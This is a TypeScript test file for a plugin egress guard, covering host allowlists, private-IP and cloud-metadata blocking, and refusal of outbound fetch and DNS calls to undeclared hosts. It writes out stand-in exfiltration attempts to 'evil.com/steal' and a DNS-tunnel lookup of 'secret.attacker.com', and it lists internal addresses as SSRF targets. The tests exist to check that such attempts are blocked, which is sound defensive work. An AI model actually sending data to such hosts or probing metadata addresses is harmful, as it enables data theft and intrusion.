mirror of
https://github.com/mauriceboe/TREK.git
synced 2026-10-20 05:56:53 +00:00
154 lines
7.5 KiB
TypeScript
154 lines
7.5 KiB
TypeScript
import { describe, it, expect, afterEach } from 'vitest';
|
|
import {
|
|
makeHostAllow, isBlockedIp, classifyConnect, unwrapConnectArgs, dgramSendTarget, dgramConnectTarget,
|
|
installEgressGuard, type RestoreEgress,
|
|
} from '../src/egress-policy.js';
|
|
|
|
describe('makeHostAllow', () => {
|
|
it('matches an exact host only', () => {
|
|
const allow = makeHostAllow(['api.example.com']);
|
|
expect(allow('api.example.com')).toBe(true);
|
|
expect(allow('API.Example.COM')).toBe(true); // case-insensitive
|
|
expect(allow('api.example.com.')).toBe(true); // trailing-dot FQDN
|
|
expect(allow('evil.com')).toBe(false);
|
|
expect(allow('notapi.example.com')).toBe(false);
|
|
});
|
|
|
|
it('matches subdomains (and the apex) for a *.suffix wildcard', () => {
|
|
const allow = makeHostAllow(['*.example.com']);
|
|
expect(allow('a.example.com')).toBe(true);
|
|
expect(allow('deep.nested.example.com')).toBe(true);
|
|
expect(allow('example.com')).toBe(true); // the apex itself
|
|
expect(allow('example.com.evil.net')).toBe(false);
|
|
});
|
|
|
|
it('refuses the allow-all patterns — a bare * and a whole-TLD wildcard', () => {
|
|
expect(makeHostAllow(['*'])('anything.com')).toBe(false);
|
|
expect(makeHostAllow(['*.com'])('anything.com')).toBe(false);
|
|
expect(makeHostAllow(['*.'])('anything.com')).toBe(false);
|
|
});
|
|
|
|
it('with no declared hosts, nothing is allowed — as in production', () => {
|
|
const allow = makeHostAllow([]);
|
|
expect(allow('example.com')).toBe(false);
|
|
expect(allow('localhost')).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('isBlockedIp', () => {
|
|
it.each([
|
|
'127.0.0.1', '10.0.0.5', '172.16.0.1', '172.31.255.255', '192.168.1.1',
|
|
'169.254.169.254', // cloud metadata — the SSRF prize
|
|
'100.64.0.1', '0.0.0.0', '224.0.0.1',
|
|
])('blocks %s', (ip) => expect(isBlockedIp(ip)).toBe(true));
|
|
|
|
it.each(['8.8.8.8', '1.1.1.1', '172.32.0.1', '192.169.0.1', '99.1.2.3'])(
|
|
'allows public %s', (ip) => expect(isBlockedIp(ip)).toBe(false),
|
|
);
|
|
|
|
it('blocks every spelling of an IPv6 loopback/metadata address', () => {
|
|
expect(isBlockedIp('::1')).toBe(true);
|
|
expect(isBlockedIp('::')).toBe(true);
|
|
expect(isBlockedIp('fe80::1')).toBe(true); // link-local
|
|
expect(isBlockedIp('fc00::1')).toBe(true); // ULA
|
|
expect(isBlockedIp('::ffff:127.0.0.1')).toBe(true); // IPv4-mapped, dotted
|
|
expect(isBlockedIp('::ffff:a9fe:a9fe')).toBe(true); // IPv4-mapped metadata, hex
|
|
expect(isBlockedIp('[::ffff:169.254.169.254]')).toBe(true); // bracketed
|
|
expect(isBlockedIp('2606:4700::1111')).toBe(false); // public v6
|
|
});
|
|
});
|
|
|
|
describe('connect / dgram argument parsing', () => {
|
|
const isIP = (s: string) => /^\d+\.\d+\.\d+\.\d+$/.test(s);
|
|
|
|
it('unwraps the pre-normalised [options, cb] array net.connect() passes', () => {
|
|
const opts = { host: 'a.com', port: 80 };
|
|
expect(unwrapConnectArgs([[opts, () => {}]])).toEqual([opts, expect.any(Function)]);
|
|
expect(unwrapConnectArgs([opts])).toEqual([opts]);
|
|
});
|
|
|
|
it('classifies every connect() overload', () => {
|
|
expect(classifyConnect([{ host: 'a.com', port: 443 }], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
|
expect(classifyConnect([{ host: '1.2.3.4' }], isIP)).toEqual({ kind: 'literal-ip', host: '1.2.3.4' });
|
|
expect(classifyConnect([{ path: '/var/run/docker.sock' }], isIP)).toEqual({ kind: 'local', host: '/var/run/docker.sock' });
|
|
expect(classifyConnect(['/tmp/x.sock'], isIP)).toEqual({ kind: 'local', host: '/tmp/x.sock' });
|
|
expect(classifyConnect([443, 'a.com'], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
|
expect(classifyConnect([443], isIP)).toEqual({ kind: 'hostname', host: 'localhost' });
|
|
// the plain-HTTP path undici takes — misparsing this once made every HTTP call
|
|
// look like a connect to "localhost"
|
|
expect(classifyConnect([[{ host: 'a.com', port: 80 }, () => {}]], isIP)).toEqual({ kind: 'hostname', host: 'a.com' });
|
|
});
|
|
|
|
it('finds the dgram destination in both send() overloads', () => {
|
|
expect(dgramSendTarget(['msg', 514, 'logs.example.com'])).toBe('logs.example.com');
|
|
expect(dgramSendTarget(['msg', 0, 3, 514, 'logs.example.com'])).toBe('logs.example.com'); // (offset,length) form
|
|
expect(dgramSendTarget(['msg', 514])).toBeNull(); // no explicit address
|
|
expect(dgramConnectTarget([514, 'logs.example.com'])).toBe('logs.example.com');
|
|
expect(dgramConnectTarget([514])).toBeNull();
|
|
});
|
|
});
|
|
|
|
describe('installEgressGuard', () => {
|
|
let restore: RestoreEgress | null = null;
|
|
afterEach(() => { restore?.(); restore = null; });
|
|
|
|
it('rejects a fetch to an undeclared host, and names the permission to add', async () => {
|
|
restore = installEgressGuard(['api.example.com']);
|
|
await expect(fetch('https://evil.com/steal')).rejects.toThrow(/evil\.com is not in the plugin's declared hosts/);
|
|
await expect(fetch('https://evil.com/steal')).rejects.toThrow(/http:outbound:evil\.com/);
|
|
});
|
|
|
|
it('blocks ALL outbound when no host is declared — as in production', async () => {
|
|
restore = installEgressGuard([]);
|
|
await expect(fetch('https://api.example.com')).rejects.toThrow(/not in the plugin's declared hosts/);
|
|
});
|
|
|
|
it('rejects a malformed url rather than passing it through', async () => {
|
|
restore = installEgressGuard(['api.example.com']);
|
|
await expect(fetch('not-a-url')).rejects.toThrow(/egress: invalid url/);
|
|
});
|
|
|
|
it('lets a declared host through to the real fetch (it delegates, never resolves)', async () => {
|
|
restore = installEgressGuard(['api.example.com']);
|
|
// Port 1 will never connect, so this rejects either way — what matters is WHICH error.
|
|
// An egress refusal would mean the guard blocked a host it was told to allow.
|
|
const err = await fetch('http://api.example.com:1/').catch((e: Error) => e.message);
|
|
expect(err).not.toMatch(/declared hosts/);
|
|
expect(err).toMatch(/fetch failed|ECONNREFUSED/);
|
|
});
|
|
|
|
it('gates a DNS lookup for an undeclared name (the DNS-tunnel channel)', async () => {
|
|
restore = installEgressGuard(['api.example.com']);
|
|
const dns = await import('node:dns');
|
|
await expect(dns.promises.resolveTxt('secret.attacker.com')).rejects.toThrow(/DNS lookup for secret\.attacker\.com/);
|
|
});
|
|
|
|
// Regression: gating literal IPs too broke the dev server's OWN listener — Node
|
|
// resolves a bind address through dns.lookup, so `listen(port, '127.0.0.1')` was
|
|
// refused by its own guard and dev could not start. An IP has no name to tunnel
|
|
// data in; reaching it is still barred by the connect guard + isBlockedIp.
|
|
it('does NOT gate a lookup of a literal IP (the dev server binds through dns.lookup)', async () => {
|
|
restore = installEgressGuard([]); // nothing declared: the strictest possible policy
|
|
const dns = await import('node:dns');
|
|
await expect(dns.promises.lookup('127.0.0.1')).resolves.toMatchObject({ address: '127.0.0.1' });
|
|
});
|
|
|
|
it('still refuses to CONNECT to a blocked literal IP', async () => {
|
|
restore = installEgressGuard(['1.2.3.4']);
|
|
const net = await import('node:net');
|
|
// Declared, but private — the SSRF backstop outranks the allowlist.
|
|
expect(() => new net.Socket().connect({ host: '127.0.0.1', port: 1 })).toThrow(/blocked address|declared hosts/);
|
|
});
|
|
|
|
it('restores the real fetch and dns on teardown', async () => {
|
|
const realFetch = globalThis.fetch;
|
|
const dns = await import('node:dns');
|
|
const realResolve = dns.promises.resolveTxt;
|
|
const undo = installEgressGuard(['api.example.com']);
|
|
expect(globalThis.fetch).not.toBe(realFetch);
|
|
undo();
|
|
expect(globalThis.fetch).toBe(realFetch);
|
|
expect(dns.promises.resolveTxt).toBe(realResolve);
|
|
});
|
|
});
|